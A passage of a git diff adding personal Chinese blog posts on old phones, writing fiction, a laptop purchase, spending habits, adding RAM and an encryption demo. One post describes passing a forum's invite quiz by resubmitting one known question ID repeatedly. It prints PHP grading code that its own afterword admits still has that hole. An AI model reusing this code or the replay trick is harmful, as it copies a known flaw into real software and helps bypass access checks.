不过对于我来说,我还是挺希望云手机的出现,因为我觉得云手机更符合手机的意义,堆配置不应该是手机该做的事,那是电脑该做的,手机还是应该做好它便携高效的本职才对。
|
||||
|
29
_posts/2020-03-08-oldphone.md
Normal file
29
_posts/2020-03-08-oldphone.md
Normal file
@ -0,0 +1,29 @@
|
||||
---
|
||||
layout: post
|
||||
title: 旧手机的N种用法
|
||||
tags: [手机]
|
||||
---
|
||||
|
||||
利用旧手机是废物利用呢还是强行增添价值?<!--more-->
|
||||
|
||||
# 起因
|
||||
在上个月我找到了家里的一堆旧电子产品,顺便水了一篇[文章](/2020/02/02/old.html)。不过像旧电脑可能还有收藏价值,旧手机就毫无用处了。
|
||||
首先我想的是把旧手机卖掉,之前我在闲鱼上卖掉了一部锤子T1,也才卖200CNY,然后我和买家都不满意,然后事还多,然后其他的手机也都是伊拉克成色……所以剩下的手机我也不打算在闲鱼上卖了。
|
||||
第二个选项是回收,我在网上回收估价,唯一能找到品牌的华为麦芒4才能回收70多CNY,在线下估才估了120CNY,我想了想这个手机虽然CPU垃圾,成色也垃圾,但是我的屏幕是完好的,而且还是1080P的,一个完好的屏幕总成都不止70CNY吧?何况这个手机还有32GiB的存储,就是拿来存东西也比卖个120CNY好吧?
|
||||
所以我不再打算把这些旧手机换成钱了,我还是想想怎么样开发它的剩余价值吧。
|
||||
|
||||
# 旧手机的用法
|
||||
我在网上查了查旧手机能做什么,看好多文章都说的是做监控、行车记录仪、导航仪、闹钟啥的,更有甚者拿它来做时钟。
|
||||
我想了想,导航仪和闹钟用自己的手机比旧手机要好多了吧,监控的话手机又不能转,而且不像买的摄像头有自带的NAT穿透,感觉太鸡肋。行车记录仪倒是还可以,屏幕、存储、GPS和摄像头都能用上,不过支架不太好找,而且我也没车没驾照,对我来说也没啥用。
|
||||
当做时钟倒也是一个不错的想法,毕竟手机屏幕也不小,不过我算了一下,如果用手机当时钟耗电量要比普通时钟大几百倍,而且LCD屏只要开着整个背光都是亮的,如果背景全白亮瞎眼,全黑又感觉浪费,一有强光又看不清,而且人一天也不会看几次时钟,大多数想看时间的时候都会把自己的手机摸出来看,所以这个方案同样很糟糕。
|
||||
不过我觉得整个手机最有用的也就是屏幕了,所以屏幕应该要用上,然后再思考一下什么事适合旧手机做而不适合自己的手机做……像需要性能的部分电脑做就够了,大多数功能当前用的手机就够了,那么什么事情费手机就让手机来做吧!
|
||||
我觉得屏幕常亮就已经很费手机了,那么更费手机的应该是让手机做一些小而杂的工作,比如说当服务器?用电脑当服务器太耗电,所以肯定不应该让电脑长时间开着,但是手机很适合24H开机,所以拿来当服务器是个不错的选择,而且当服务器的同时也不占用屏幕,可以让手机最大化的利用。
|
||||
让手机当服务器的方案很多,毕竟Android系统本身就是基于Linux的,所以运行服务器软件并不是什么难事。想自己搞的话可以自己编译一套ARM指令集的Nginx+PHP+MySQL,嫌麻烦也可以直接用现有的KSWEB,一键安装也很方便,如果手机的配置实在垃圾也可以用BusyBox上带的httpd,然后用C或shell写一套网站都没问题,有CGI也没多难,当然技术厉害的大佬也可以直接写服务器程序也没有问题。
|
||||
既然旧手机后台的工作已经确定下来了,那么前台的屏幕可以做什么呢?1080P的屏幕应该说也是相当不错了,拿来搞电子相册就挺不错的,不过现在电子相册现在已经淘汰了,而且就显示个照片实在是浪费这么好的屏幕。
|
||||
不过只显示照片很浪费,那么显示视频如何呢?要不然就直接动态桌面不是更好吗?我觉得这个想法不错,于是我就在Google Play上找了一个不错的Live2D的壁纸,拿来做在桌上的虚拟人偶也不错嘛。
|
||||
屏幕也用到了,要不然再用个耳机孔?在旧手机上插一套音响设备,然后用服务器控制也可以,或者用语音助手控制也可以,至少华为麦芒4这个手机还支持DTS音效啥的,放歌总比MP3好多了吧?像买一个智能音响也要不少钱,但是旧手机加普通音响的价格就会低很多。
|
||||
当然,上述一切的前提是这个旧手机只有CPU和存储器过时了,电池坏没坏倒是无所谓,但如果说屏幕和音频解码也很垃圾的话,那么上述效果会差很多。
|
||||
|
||||
# 总结
|
||||
综上所述,一部旧手机在外拿来做行车记录仪,在家作为服务器、桌面虚拟人偶和智能音响是个不错的选择,当然想拿来做小型家庭云存储也挺好,NAS那么贵不如用旧手机。
|
||||
当然以上都是尽可能的利用旧手机的方案,如果懒得折腾还是买正规设备更好,如果觉得上述功能对自己没任何用处,那么换成钱也许更好(其实我也用不到上面那些功能,只是 ……~~穷疯了?23333~~ 不舍得丢掉,所以想榨干它们最后的价值罢了)
|
50
_posts/2020-03-12-novel.md
Normal file
50
_posts/2020-03-12-novel.md
Normal file
@ -0,0 +1,50 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于写小说的技巧探究
|
||||
tags: [小说, 计划]
|
||||
---
|
||||
|
||||
我可从来没写过小说啊……<!--more-->
|
||||
|
||||
# 前言
|
||||
我在前几个月定下的5年计划中,有一个[制作游戏的计划](/2019/12/17/game.html),不过说实话我的文学水平实在是不堪,所以近些日子我时不时的就在考虑到底怎么样写游戏的剧情才能让玩家觉得不会很无聊。
|
||||
最近我也有看过一些小说或动画作品,我觉得它们应该也会对我的写作和剧情构思能力有一定的提升。比如《ID:INVADED》,我觉得这是这个季度最有意思的推理动画,另外我还看过《文学少女》,这部小说也同样有着推理内容,而且看完以后会感觉到作者强大的文学底蕴。
|
||||
对于我的游戏而言,因为整体设计是作为解谜游戏来制作,所以从剧情上来说我也更希望能做成推理的解谜游戏。
|
||||
虽然我个人没写过小说,但是看了各种优秀的作品以后,我觉得自己应该也能总结它们的特点,写出属于我自己的剧情。
|
||||
经过我的总结,我认为一部小说总体可以分为两部分,即写作风格和剧情,写作风格可以看做是小说的身体,而剧情则是灵魂。所以我接下来打算以这两个方面来总结一下我对写小说的理解。
|
||||
|
||||
# 写作风格
|
||||
从我前面写的几十篇文章来看,大家也都应该知道,我的写作水平是真的垃圾,垃圾到自己只敢写第一遍,不敢读第二遍……不过这么垃圾的东西我也不会删掉,毕竟这作为历史我也不应该消除它。
|
||||
虽然我的写作能力很垃圾,但是这就是我的写作风格,水平垃圾是水平问题,但是风格垃圾这就没办法了…… ~~(我只会生产垃圾QAQ)~~ 尽管我写的很垃圾,但是我看了看网上的某些小说,发现它们看起来似乎更垃圾,这让我稍微安心了一点点。不过其实我的写作水平总体来说就是大概小学的水平,即使别人写的看起来很烂,但是能发布小说而且还有人打赏的,也要比我写的好吧……
|
||||
经过我的总结,我觉得写作风格主要来源于作者的平时经历,比如平时喜欢写技术文档的人他如果写小说就是比较理性的风格,虽然我没写过技术文档,但是我觉得至少我写的也算是技术类博客吧(笑),另外如果喜欢ACGN次文化的人在写文章的时候也会经常加入相关语句之类的……比如说梗(Meme),以及在网络社区呆的时间很长,也会喜欢加入一些网络用语。
|
||||
另外写作能力也算风格的一部分,比如我经常莫名其妙的连续使用连词,比如然后、而且、对于、虽然……之类的,而且在写文章的时候经常前言不搭后语,就感觉似乎自己脑子的缓存很小,可能在写文章的时候也就能存一句话,写下一句话的时候要看一下前一句话然后进行实时演算,这个样子的效率可以说是真的低,不过这也算是用时间解决空间过小的问题吧。
|
||||
我在小时候也看过很多文章,我记得当时还有订阅过一些刊物,比如《实用文摘》之类的,但是我总觉得我的记忆力是越来越差了,大概和我现在糟糕的生活习惯有关吧,而且即使我看过很多文章和小说,也很难把他们的写作风格吸收……
|
||||
总而言之,写作风格和写程序一样,一是平时的水平积累,二是脑子够不够用,三是生活经历。这时候我又回去看了看我以前写的[MaBBS](https://github.com/Mabbs/Mabbs),由衷的感叹那时我的脑子可真是厉害,那么奇葩的代码我竟然能坚持写到将近1700行!现在的我无论从哪一方面都比不了那时了……但是我也能理解,那时的我为什么弃坑……也和经历有关……TAT
|
||||
|
||||
# 剧情
|
||||
写作风格我没法讲的更多了,因为我自己的水平本来就很垃圾,讲的再多就成了对自己的批斗会了23333。对于剧情嘛……就是逻辑方面的东西,我觉得这个我可能更加擅长一些。
|
||||
首先我认为写剧情要先建立一个相关世界,无论是描写真实的事物,还是描写虚假的事物,都需要先有被描写的对象才可以开始。所以第一点就是对世界的建立。
|
||||
## 建立世界
|
||||
建立剧情的世界和当造物主一样,要先考虑建一个什么样的世界。对于我看过的大多数小说而言,大家认为写自己所在的世界更加容易一些,毕竟想象不如参照现实来的简单,所以大多数人都会选择地球作为剧情发生地或起始地。
|
||||
虽然用自己所在的世界创建剧情世界不需要自己考虑太多,一切都是现成的,但是也正是因为一切都是现成的,而且也都是大家生活的地方,所以限制也非常大。首先为了避免被认为是对现实的含沙射影,很多时候可能在写关于地名时不应该使用现实中的地名,同样也不应该写对现实事物或人物造成了什么伤害,否则如果以后知道的人多了,就会被“炎上”,毕竟写小说的人也不希望自己写的东西太过于有争议性,影响到现实中的自己也不太好。
|
||||
除此之外就是一些现实的常识限制,如果在地球上还修改了一堆基础的物理学,要么会被说是物理没学好 ~~(河马的物理23333)~~,要么就是被人说是强行乱改物理学。总之就是以地球为基准对剧情的限制会比较多,当然写好了也会增加对读者亲密度,因为大家都对自己生活的地球都很了解,不需要再去考虑更多的设定,对读者的压力会小很多。
|
||||
不过既然我要写的是推理解谜游戏,那么当然不在乎对读者有多少压力,能给读者更大的压力才是解谜游戏有趣的地方,所以我更希望使用非现实世界作为剧情发生的世界。另外如果想增加读者亲密度,也可以把起始地设置为现实世界,剧情发生地在完全自创的世界。
|
||||
不过自己从零创造世界是个很困难的事情,现实的规则可以不用,但要符合逻辑性,不能因为是自己创造的世界就完全不需要遵守规则,没有逻辑的世界会让人读起来很难受,所以从零创造世界也非常考验作者的水平。
|
||||
## 角色配置
|
||||
除了世界以外当然还要有在世界中的表演的角色,就像演戏一样,世界是角色表演的舞台,而角色则是在舞台上表演的人,角色的配置也很重要。
|
||||
对于如何描写角色,用第一视角还是第三视角这个其实不重要,对于初期建立剧情来说,我们不需要考虑那么多,就像建模一样,建模虽然需要一个第一视角(摄像头),但是它不重要,重要的是里面的模型。
|
||||
对于角色是不是人这种事,其实主要还是看建立的世界如何。建立的世界定义了在其中活动角色的世界观,如果那个世界的角色都认为在那个世界上生存的是对我们来说的怪物,那么它们在那个世界看待怪物里和我们在现实世界看待人是一样的。不一样的是在现实世界中看到怪物,这种事情会与其中人物的世界观发生冲突,然后再引起事件就很容易了。
|
||||
所以对于角色配置,如果希望搞事情就可以设置与那个世界不相符合的角色,如果希望搞事情不是从这里开始,那就按照建立的世界规则走就可以了。
|
||||
定义了角色的类型以后,还需要定义角色的一些能力,比如某个角色在整个世界中站在什么样的程度,像主角到底应不应该很厉害,到底是那种打败天下无敌手,还是普通的厉害?或者说就是一个菜鸡?当然这个角色配置也不一定就定下来了,菜鸡也可能凭自己的努力变厉害,或者是欧气爆棚捡到了神级装备,也或者是受神恩赐得到了很强大的能力之类的。
|
||||
初始的角色能力的配置并不是很重要,因为它可以通过剧情发展变化,重要的是角色能力变化趋势,也就是最后角色的能力如何。在角色能力变化的时候发生的剧情也是比较有意思的。
|
||||
我看小说的时候很喜欢主角很厉害,因为我看小说的时候喜欢把自己代入到主角中,所以对于我个人而言,我不希望主角遇到糟糕的事情,也不喜欢BE,更不喜欢NTR。
|
||||
## 发展模式
|
||||
有了舞台和演员,接下来就要开始演戏了。这个戏怎么演,主要就看它的发展走向。根据我的了解,一个故事剧情最重要的就是波折,如果一个故事中全都是高潮,那么它就是很高的平淡无奇。所以一般比较好的写法就是剧情开始怎么低落怎么来,但是不能低落到让读者失去兴趣,之后慢慢上升,上升到一个高度再猛然下降,就这样搞一些发展趋势三角形,最后在上到最高点,让人感觉如同在坐过山车一般。
|
||||
当然说起来谁都会,写起来可不容易,不过我目前还是没什么好的灵感,现在不过是在积累方法,就让我再多胡诌一阵子吧。
|
||||
在整个剧情的发展中,最忌讳的就是套路,如果读者在阅读的时候已经预测到结果了,那这一部作品就是垃圾。毕竟大家看剧情要看没见过的,已经见过的还有什么看头?
|
||||
不过这一方面也很复杂,我现在连我以前的代码都看不懂,怎么才能想到别人没想到的层面呢?如果作家才在第二层,读者都想到第五层了,那还有什么写头?
|
||||
|
||||
# 结语
|
||||
总之,写小说还是非常考验水平的,无论从写作水平还是编剧水平,都是要求很高的。写作水平要求的是积累的能力,而编剧水平则要求的是思考深度,这两部分都很难啊……我该怎么样写好我的游戏呢?真希望有人能和我一起来写这个游戏啊……
|
||||
另外我写的游戏也不只是小说,还要把各种谜题合理的嵌入其中……这个5年计划可真是复杂啊……
|
||||
P.S.我觉得纯前端写这个还是尽量出逻辑解谜题,毕竟程序题有了源代码还是很容易被破解。
|
7
_posts/2020-04-06-self.md
Normal file
7
_posts/2020-04-06-self.md
Normal file
File diff suppressed because one or more lines are too long
125
_posts/2020-04-19-exam.md
Normal file
125
_posts/2020-04-19-exam.md
Normal file
@ -0,0 +1,125 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于制作考试(答题)系统的研究
|
||||
tags: [考试, 答题]
|
||||
---
|
||||
|
||||
在答题系统的安全性上,没有人胜利……<!--more-->
|
||||
|
||||
# 答题系统的来由
|
||||
在我维护的花火学园上,有一套答题系统。另外我能成为花火学园的运维也是因为这个系统,这件事也是个很神奇的事情。
|
||||
具体内容也充满了机遇性,在我上高中的一天,我偶然发现了花火学园论坛,发现了之后我就想注册,然而这个论坛注册要求挺高,需要邀请码,如果没有就要去答20道题来获得邀请码。
|
||||
那个题很难,正常人会的可能只有不到一半,如果有兴趣也可以看看[花火考场](https://www.say-huahuo.com/answer/),对于这些题同样我也不会。不过不会没关系,我以前在做网上的考试时,从来都不会安心看题,总会想着按下F12看看有没有什么不答题也能通过的方法。
|
||||
按正常来说,应该没有人会把答案放到网页源代码中,但是在我做的好多次网络考试中,他们都把答案放到了源代码之中。我想这也许是为了降低服务器的运算压力吧……但是这样考试有点计算机知识的人都能把答案找出来,那考试还有啥意义……
|
||||
总之就是因为这样奇怪的程序员很多,所以我每次在网上答题前都会按下F12看看有没有什么更简单的通过方法。
|
||||
当时我看了看花火考场的源代码,是打包后的vue代码,看来是没法从网页源代码这里入手了,那第二点就是查看网络请求的数据了。
|
||||
我大概看了一下,这个答题系统的获得题目和提交都是由同一个php程序工作的,过程是答题之前获得一组题目,答完后将答案和一组表示题目的ID组合到一起提交到这个程序上,提交后如果分数超过70分就会生成一个邀请码。看着这个过程,我突然脑洞大开,想着既然这个程序阅卷时只用ID和答案,那么我如果会做其中一道题,让这个程序反复批已知答案的同一道题,那么我就可以得满分了吧。
|
||||
结果还真是这样,有点不可思议,于是我就成功的注册了花火学园。
|
||||
注册后我就给管理员说了这个问题,也是这样的一次机会我加入了花火学园的程序组当中。
|
||||
这个答题系统是由[you06](https://github.com/you06)大佬开发的,不过我反馈了这个问题以后,貌似问题仍然没有被解决……而我一般看代码也是有一定的机遇,只有心情适合写代码或看代码的时候才愿意去写,所以我成为管理员以后我也没有解决。
|
||||
关于答题系统这个东西我一直觉得开发起来很简单,像客观题就是比对一下答案是不是一致就行了,所以说我上了大学以后,我一直想着和同学一起做个答题系统练练手,可惜现代大学生最喜欢干的事情就是摸鱼,所以一直都没有做答题系统。
|
||||
不过前几天正好我的心情符合看代码的状态,然后就看了看我能不能解决这个问题。
|
||||
|
||||
# 修复漏洞
|
||||
我闲来无事打开看了看阅卷的这个小程序,整个代码很短,也很好理解。当时加入程序组后我和you06说用session解决这个问题也许不错,虽然问题没解决,但是能看到他已经写了一部分了,也许是因为调试时出问题了,所以写了一半之后就再没管。
|
||||
我看了看之所以you06的代码出了问题,其实主要原因是因为环境变量上少加了下划线,所以没读到数据才导致程序出问题的,既然问题找到了,我很轻松的就改了过来。
|
||||
|
||||
# 参考代码
|
||||
既然漏洞解决了,那我觉得即使大家看到程序的源代码也没关系,我检查了很多遍,也没看出问题,所以现在我将阅卷系统的核心代码展示出来:
|
||||
```php
|
||||
<?php
|
||||
Session_start();
|
||||
$filename = "problem.json";
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||
// query problem data
|
||||
$json_string = file_get_contents($filename);
|
||||
$questionSet = json_decode($json_string, true);
|
||||
$questiones = array();
|
||||
for ($i = 0; $i < 20; $i++) {
|
||||
$index = mt_rand(0, sizeof($questionSet) - 1);
|
||||
array_push($questiones, array(
|
||||
'title' => $questionSet[$index]['title'],
|
||||
'code' => $questionSet[$index]['code'],
|
||||
'options' => $questionSet[$index]['options'],
|
||||
'img' => $questionSet[$index]['img']
|
||||
));
|
||||
array_splice($questionSet, $index, 1);
|
||||
}
|
||||
$_SESSION['questiones'] = $questiones;
|
||||
echo json_encode($questiones);
|
||||
die();
|
||||
}
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
// check result
|
||||
$answers = json_decode(file_get_contents("php://input"), true);
|
||||
$score = calcscore($answers);
|
||||
$pass = $score >= 70;
|
||||
$invitecode = '';
|
||||
if ($pass) {
|
||||
$invitecode = invite();
|
||||
}
|
||||
|
||||
echo json_encode(array(
|
||||
'score' => $score,
|
||||
'pass' => $pass,
|
||||
'invitecode' => $invitecode
|
||||
));
|
||||
|
||||
if (isset($_SESSION['questiones'])) {
|
||||
unset($_SESSION['questiones']);
|
||||
}
|
||||
|
||||
die();
|
||||
}
|
||||
|
||||
function calcscore($answers) {
|
||||
$score = 0;
|
||||
$filename = "problem.json";
|
||||
|
||||
$json_string = file_get_contents($filename);
|
||||
$questionSet = json_decode($json_string, true);
|
||||
|
||||
for ($i = 0; $i < sizeof($answers); $i++) {
|
||||
if ($answers[$i]['answer']) {
|
||||
for ($j = 0; $j < sizeof($questionSet); $j++) {
|
||||
if ($answers[$i]['code'] == $questionSet[$j]['code'] &&
|
||||
$answers[$i]['answer'] == $questionSet[$j]['answer']) {
|
||||
$score += 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$matchCount = 0;
|
||||
if ($_SESSION && $_SESSION['questiones']) {
|
||||
for ($i = 0; $i < sizeof($answers); $i++) {
|
||||
for ($j = 0; $j < sizeof($_SESSION['questiones']); $j++) {
|
||||
if ($answers[$i]['code'] == $_SESSION['questiones'][$j]['code']) {
|
||||
$matchCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ($matchCount == sizeof($answers)) {
|
||||
return $score;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
function invite() {
|
||||
//generate invite code
|
||||
}
|
||||
```
|
||||
|
||||
# 结尾
|
||||
其实答题系统想让用户钻不了空还是相当简单的事情,不过我个人还是希望那些答题系统能不要写的太精密,这样谁都不会胜利,互相为难也不好嘛……
|
||||
|
||||
# 后记
|
||||
我的愚蠢超乎我想象,这个代码的漏洞应该说完全没有解决,看似复杂的代码就如同破铜烂铁一般,轻易就能击碎QAQ。
|
||||
我完全没有测试就胡乱改,改完之后除了让代码看起来更加复杂外没有解决任何问题。今天一位名叫[Sora Jin](https://github.com/MoeLoli)的大佬像曾经的我一样测试了这个垃圾答题系统,重新发现了这个漏洞……
|
||||
不过这次的修复不怎么美观,代码我就不放上来了,不是很难的问题,有兴趣的读者可以自己研究一下。
|
23
_posts/2020-04-21-laptop.md
Normal file
23
_posts/2020-04-21-laptop.md
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
layout: post
|
||||
title: 记一次买笔电的经历
|
||||
tags: [笔记本电脑, 经历]
|
||||
---
|
||||
|
||||
买个电脑真是太难了QAQ……<!--more-->
|
||||
|
||||
# 起因
|
||||
在去年,我曾说过,以后如果有出了7nm制程、Zen2架构的AMD移动端CPU的电脑,我就买一台。结果今年年初AMD公司就出了。不过当时我听说当时出的时候好像是联想的电脑装的,名字好像叫Yoga Slim 7,可惜我等了好久也没见它开卖。正好这时我偶然看到了华硕天选也出了符合我要求的电脑,而且还有蓝色的外壳, ~~再加上看起来很像Kiana的天选姬23333,~~ 这看起来都很吸引我,于是我就决定买这款电脑了。
|
||||
|
||||
# 糟糕的购买经历
|
||||
当时我在这款电脑预售的第二天就知道了它的存在,思考了几天我决定买下它。当时这个电脑似乎只有在京东上可以买,但是由于某些原因我在淘宝上也看了看,结果淘宝上也有,能加内存条还不用抢,价格一样而且还比京东上多了一堆赠品。我想了想,新电脑有那么高级的配置应该多加一条内存,但是我手残,自己[装内存条还把笔记本装坏了](/2019/08/17/memory.html)……再加上一堆加成,我就被这个淘宝店吸引了。
|
||||
正是因为如此,所以我没有在第一次发售去抢,结果第一次发售结束后店家还没有发货,我试着抢第二次发售的货,结果由于第一批货口碑不错,第二批根本抢不到,再往后就开始涨价了……然而淘宝店的店家仍然没有发货……据他们说,厂家不给他们货了。
|
||||
当然,这个店家拖这么久我是可以让他们给我赔钱的,但是我不希望赔钱,我想要电脑啊……直到前几天华硕又一次发售,这次他们在这个产品上加了一个低端版的电脑,没办法,店家好像有低端版本的,所以我就让他们给我换了一下。
|
||||
换了低端版之后给我退了1K的差价,从原来6799的有着RTX2060显卡和16GiB内存的电脑妥协成了现在5799的只有GTX1650ti的垃圾显卡和8GiB的内存,配置一下降了一半,但是价格才退1000……而且还等了这么久QAQ……真的是太难了。
|
||||
|
||||
# 使用体验
|
||||
今天电脑到手了,还好是真的电脑,没给我寄一块砖头😂,打开看了一下也没什么太大的问题,于是我就开始把电脑原来家庭版的系统换成了专业版,我之所以换的主要原因是为了用BitLocker、Windows沙箱和Hyper-V。
|
||||
整个调试好之后我发现这个电脑还是有不少问题的,比如在电脑没有打游戏的时候屏幕会闪,大概是核心显卡或者是驱动的问题?另外这个电脑在有一些运算的时候声音是真的大,真的和开直升机一样。不过平时上个网,打个字倒还是挺安静的,感觉风扇一点也没转,我现在写博客就用的是这台电脑。
|
||||
|
||||
# 对这台电脑的期望
|
||||
不过既然这个电脑还不到6000,我觉得还是不追究这些问题了,至少这还是华硕的电脑,如果真的出了问题也有售后。现在我就希望未来5年内它能好好的为我工作,不要比过了20年都还能正常开机的电脑差就好了。
|
28
_posts/2020-05-07-consume.md
Normal file
28
_posts/2020-05-07-consume.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
layout: post
|
||||
title: 合理消费
|
||||
tags: [演讲稿, 消费]
|
||||
---
|
||||
|
||||
利己,就是合理。<!--more-->
|
||||
|
||||
# 起因
|
||||
由于我们语文老师想让我们做一次演讲,然后正好我也受到家人说我总在吃的东西花钱多的启发,所以我打算趁此机会再水一篇文章。
|
||||
当然我至少是有演讲经验的,而且这次演讲才5分钟,和[上次40分钟的演讲](/%E6%BC%94%E8%AE%B2%E7%A8%BF/2018/06/20/Coding.html)完全不能比,另外这次也不需要对着人讲,只需要对着电脑讲就行了,所以相比来说应该会轻松一些。
|
||||
|
||||
# 我认为的合理消费
|
||||
什么是合理消费?那么首先就要给合理下一个定义。对于一般人来说,自己认为正确的对于自己来说就是合理的,不过这种合理在实际生活中可能会让自己陷入困境。对于我来说,我认为的合理肯定就是我认为正确的,虽然我也说过如果只是想当然会出问题,但是一般来说我肯定是不希望自己陷入困境的,如果真的出现了这样的事情我肯定会改正,所以我认为的就是合理的。说这么多只为一点,那就是我说的就是正确的,不接受杠精的反驳!23333
|
||||
那么接下来就让我谈一谈我的消费观念吧!
|
||||
1. 合理消费以省钱为主
|
||||
虽然先前投资很重要,但是我总感觉自己很非,像抽卡总是抽不到好的,[买电脑也买不到称心如意的](/2020/04/21/laptop.html)QAQ……生活真是太艰难了……不过即使如此我们也要坚持下去。所以既然我我们知道投机取巧是不现实的,那么就少在投机的事情上花钱吧,当然也不是不能投机,觉得保本的可能性大的话就去玩一玩吧。
|
||||
2. 不为虚拟的东西花一分钱
|
||||
像我在虚拟的东西上基本上可以说是一分钱都没有花,像往游戏里充钱啥的根本不可能,软件也是。虽然我以后说不定也靠创作虚拟产品来搜刮用户的钱,但是对我来说我就是不愿意为此花钱。
|
||||
另外在现实中对于周边我同样是一分钱也不愿意花,虽然我也喜欢ACGN次文化比较喜欢,但是我就是不愿意为此花钱,因为为它们花钱就是买了虚拟的图案加上质量一般的产品,很不值得。当然如果有人给我送的话我是很开心的,我只是不愿意买罢了。~~(别说了,都是穷😂)~~
|
||||
3. 自己花同样钱或精力做不到的事情就让别人来做
|
||||
我们为什么要花钱,我仔细想了想,其实就是为了完成我们做不到的事情,比如有些人是电脑小白,不会装系统,就需要花20CNY来请别人来装。有人说他们被坑了,但是我不这么认为,他们花50CNY也不一定能做来的事情花20CNY做不是很赚吗?像我为什么愿意为吃的花钱?就是因为我花100CNY也做不出来我想吃的东西,但是我想吃的东西10CNY就能买来,这时候就不要节约自己的钱了,大胆的为自己的目标花钱吧!
|
||||
|
||||
其他更多的观点5分钟内也讲不完了,那么以上就是我对合理消费的一些拙见,Thanks for watching!
|
||||
|
||||
# 后记
|
||||
虽然这是个演讲,不过我说的也都是认真的哦,在现实中我就是按这样的标准来做的。
|
||||
当然如果有人觉得有不合理的问题也可以说,但是如果有人用像“正大光明使用盗版”这种道德绑架的方式来喷我的话,那我建议最好按下`Ctrl+w`,就当没看过这篇文章。~~(根本没人来看啊😂)~~
|
25
_posts/2020-05-20-memory.md
Normal file
25
_posts/2020-05-20-memory.md
Normal file
@ -0,0 +1,25 @@
|
||||
---
|
||||
layout: post
|
||||
title: Re:加装内存
|
||||
tags: [内存]
|
||||
---
|
||||
论头铁是什么感受<!--more-->
|
||||
|
||||
# 头铁的开端
|
||||
在去年的8月份我给我的旧笔记本加装了一次内存条,结果……[很悲惨](/2019/08/17/memory.html),把电脑的充电功能搞坏了。
|
||||
几个月后的今天,我不记过去的痛苦,头铁的为我的[新笔记本电脑](/2019/08/17/memory.html)加装了一次内存条……
|
||||
本来我是打算用几年以后直接加32GiB的内存,但是最近装了个虚拟机,发现8GiB的内存不怎么够用,Windows自己就占用了一半的内存,结果我用Ubuntu虚拟机开动态内存需求是5GiB的内存。虽然心里很难受,但是想了想还是加吧,花钱让人难受,但是花钱也是为了让人不难受啊……
|
||||
不过现在问题不在花钱,在于自己手残,但是又不想请人来装。虽然[上一篇文章](/2020/05/07/consume.html)我还在说自己花同样钱或精力做不到的事情就让别人来做,不过那就是个垃圾文章,我肯定是头坏了才会写出那种垃圾文章。现在我已经知道了,合不合理不在于省钱,而是脑子正不正常。
|
||||
不过我想了想,之前的笔记本之所以装坏了是因为它是商务本,内存条在C面,要装得把主板拆下来所以才搞出了问题。新电脑是游戏本,不用拆掉主板也能加内存,也许成功率会高一些吧……
|
||||
|
||||
# 坎坷的装内存之旅
|
||||
我上周就已经打算装,已经在网上下单买内存了,但是发生了很糟糕的事情,店家给我发错了货,我买的是3200MHz频率的内存条,结果他们发成了2666MHz的……当然这个东西我直接看内存条其实是不会看的,不装到电脑上我也不知道。
|
||||
内存拿到手之后,我打算速战速决,后盖打开、电池拔掉、内存插上、电池插上,然后就直接装后盖了,真不知道该说是头铁还是智障,测试都没测试,觉得速战速决就能让电脑不坏吗?现实是残酷的,螺丝都拧好了然后按开机键没反应……没办法,我只能把后盖再拆开,然后重新试。
|
||||
既然电脑已经拆了一回了就感觉什么东西破碎了,第二次装的时候我就不再装后盖就直接开机,电脑重启了三回,第一回屏幕没反应,第二回只有Logo,第三回可算是开始引导系统,结果BitLocker的界面出来了,貌似是因为电池拔掉后BIOS重置,安全启动自动关闭,然后TPM就不认了。
|
||||
这……算了,反正前几周我还升过BIOS固件也遇到过相同的情况。不过这也太不安全了吧,BIOS居然没有自带的电池?我的BIOS密码也因此消失不见了,那这个东西密码还有什么用,后盖那么好拆,电池一拔密码就没了……
|
||||
我把安全启动的证书恢复了出厂设置,系统总算是正常启动了,看着16GiB的内存心里还是挺高兴的。这时候再看一眼频率,2666MHz?我怀疑是不是我装的有问题,这时候我打开命令提示符,输入`wmic memorychip`,一看两个内存的频率确实不一样,我感觉被坑了……这也许就是运气问题,合理不合理消费都是小事,运气不好咋也省不了钱。
|
||||
还好店家倒也不是那种不讲理的人,给我换了一条3200MHz的,今天重新装上,这也算是告一段落了。
|
||||
|
||||
# 心得
|
||||
加内存条倒也没啥心得,就是注意一下拔电池,内存斜着插进去就行了。唯一让我难受的就是我买东西真的是艰难,本来想在更好的电脑上加内存,结果好电脑没买上,买了个垃圾一点的还是忍不住加内存,结果一买还发错货了,不仅如此,换回来之后再一查其他家同款的降了10CNY……
|
||||
生活真是艰难啊……糟糕的事情一出接着一出……
|
160
_posts/2020-05-29-encrypt.md
Normal file
160
_posts/2020-05-29-encrypt.md
Normal file
@ -0,0 +1,160 @@
|
||||
---
|
||||
layout: post
|
||||
title: 写一个加密传输的Demo
|
||||
tags: [加密, Demo]
|
||||
---
|
||||
非专业密码学,仅供娱乐!<!--more-->
|
||||
|
||||
# 起因
|
||||
最近我们学校搞了一个工程项目,要求是研究关于信息安全等级保护的一些东西,一开始我以为这就是搞个权限啥的,后来发现和云计算一样是个定义,话说我明明是网络工程专业的为啥还要了解信息安全……
|
||||
当然这个什么等级保护的内容很多,我们不可能全都涉及,所以老师允许我们只选其中的一部分进行研究。我想了想,我之前还想搞什么[加密邮件](/2019/07/02/encmail.html)啥的,所以我选了通信安全方面的板块,这样也可以对那个项目有些参考。
|
||||
|
||||
# 实现思路
|
||||
我本来是想按着TLS的标准来写,后来看了看发现那样不太方便,我写Demo也就是玩玩而已,不用费那么大劲。
|
||||
像正常来说,建立加密通道是要有握手环节的,但是那个实现起来实在是太麻烦,所以想了想就算了。
|
||||
所以我的实现方式是生成一个随机数,用AES以随机数为密码加密数据,用RSA加密随机数。这样做的主要目的是利用RSA的特性保证传输内容不会被泄露,但是RSA相对来说太慢,所以用了AES来加密数据,这样就能提高传输的效率。
|
||||
传送方式我之前还想着要不要建一个TCP Socket或者是Unix Domain Socket来传输,但是后来觉得这样太麻烦,不如直接用文件的方式传,这样还简单好理解。 ~~(就是嫌麻烦嘛)~~
|
||||
